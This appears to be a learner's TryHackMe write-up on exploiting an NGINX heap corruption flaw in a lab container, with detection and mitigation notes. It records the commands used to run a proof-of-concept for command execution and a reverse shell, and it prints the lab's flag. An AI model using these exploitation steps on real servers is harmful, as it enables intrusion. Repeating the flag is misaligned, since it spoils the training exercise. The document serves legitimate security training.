This lab demonstrates the exploitation of CVE-2024-24945, a heap corruption vulnerability affecting NGINX. The objective was to understand how memory corruption can lead to Remote Code Execution (RCE) and gain practical experience in exploitation, detection, and mitigation techniques.
This lab demonstrates the exploitation of CVE-2024-24945, a heap corruption vulnerability affecting NGINX. The objective was to understand how memory corruption can lead to Remote Code Execution (RCE) and gain practical experience in exploitation, detection, and mitigation techniques.
. Verify the vulnerable NGINX servive. . Execute arbitrary commands using the provided proof of concept (PoC). . Obtain a reverse shell on the target container. . Retrieve the challenge flag. . Understand detection and mitigation strategies.
. Platform: TryHackMe . Target Service: NGINX RIFT . Containerized Environment: Docker . Exploit Tool: poc.py . Access Method: VNC (Virtual Network Computing)
Service Verification
confirmed that the vulnerable container was running and accessible.
sudo docker ps
curl -s http://127.0.0.1:19321/api/users/42
backend ok
Executed the provided PoC to validate arbitrary command execution.
pytho3 poc.py --cmd 'echo hello from depthfirst > /tmp/pwned
Verified successful execution:
sudo docker exec nginx-rift-nginx-1
cat /tmp/pwned
Output: hello from depthfirst
Establish an interactive shell on the target container.
python3 poc.py --shell
Successful Connection:
[] listening for reverse shell on port 1337... [] connected. $
Accessed the challenge flag.
cat /flag.txt
THM{18_y34r_%t4t3_m15m4tch_rip5_th3_h34p}
Defenders may identify exploitation attempts through:
. NGINX worker crashes . Segmentation fault events . Unexpected outbound network connections . Suspicious shell processes (/bin/sh,bash) . unauthorized file creation in temporal directories
. Upgrade to a patched NGINX version. . Apply the principle of least privilege . . Restrict unnecesary outbound network traffic Implement continuous log monitoring. . Use container security controls and rubtime monitoring
This lab provided practical experience in:
. understanding heap corruption vulnerabilities. . Exploiting Remote Code Execution flaws. . Establishing reverse shells. . performing post exploitation validation. . Recognising indicators of compromise and mitiigation techniques.
This exercise was performed in a controlled TryHackMe laboratory environmentg for educational and defensive cybersecurity training purposes only.
Author: [Benedict Ejepu Amaechi] Platform: TryHackMe Topic: CVE-2024-24945 9NGINX RIFT0 Exploitation and Defence Date Completed: June 2026